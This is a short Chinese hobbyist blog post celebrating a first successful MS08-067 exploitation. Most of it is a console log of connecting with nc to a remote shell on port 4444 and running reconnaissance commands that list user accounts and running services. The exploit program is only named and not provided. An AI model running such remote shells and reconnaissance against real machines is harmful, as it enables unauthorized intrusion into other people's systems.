BlackFeather'S Blog

这几天沸沸扬扬的MS08067漏洞，终于在不经意间发现了利用工具，晚上测试一不小心就成功了！有生以来第一次溢出成功，太他妈的激动了，大吼到嗓子哑了！！！！！

C:\Documents and Settings\Administrator>nc -vv 10.1.12.48 4444
PC-200810152207 [10.1.12.48] 4444 (?) open
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user
net user

\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    HelpAssistant
LukyStar
命令运行完毕，但发生一个或多个错误。

C:\WINDOWS\system32>netview
netview
'netview' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

C:\WINDOWS\system32>net view
net view
net user
发生系统错误 53。

找不到网络路径。

C:\WINDOWS\system32>net user

\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    HelpAssistant
LukyStar
命令运行完毕，但发生一个或多个错误。

C:\WINDOWS\system32>net start
net start
已经启动以下 Windows 服务:

   Application Layer Gateway Service
   Background Intelligent Transfer Service
   COM+ Event System
   Computer Browser
   Cryptographic Services
   DCOM Server Process Launcher
   DHCP Client
   Distributed Link Tracking Client
   DNS Client
   Event Log
   IPSEC Services
   Logical Disk Manager
   MSSQLSERVER
   Network Connections
   Network Location Awareness (NLA)
   Plug and Play
   Print Spooler
   Protected Storage
   Remote Access Connection Manager
   Remote Procedure Call (RPC)
   Secondary Logon
   Security Accounts Manager
   Server
   Shell Hardware Detection
   SSDP Discovery Service
   System Event Notification
   Task Scheduler
   TCP/IP NetBIOS Helper
   Telephony
   Terminal Services
   Themes
   WebClient
   Windows Audio
   Windows Firewall/Internet Connection Sharing (ICS)
   Windows Image Acquisition (WIA)
   Windows Management Instrumentation
   Windows Time
   Wireless Zero Configuration
   Workstation
   自动更新

命令成功完成。

C:\WINDOWS\system32>

发出来程序：

200810272320246322.gz    

（这么多年了，没人有这漏洞了，不提供下载了。。。）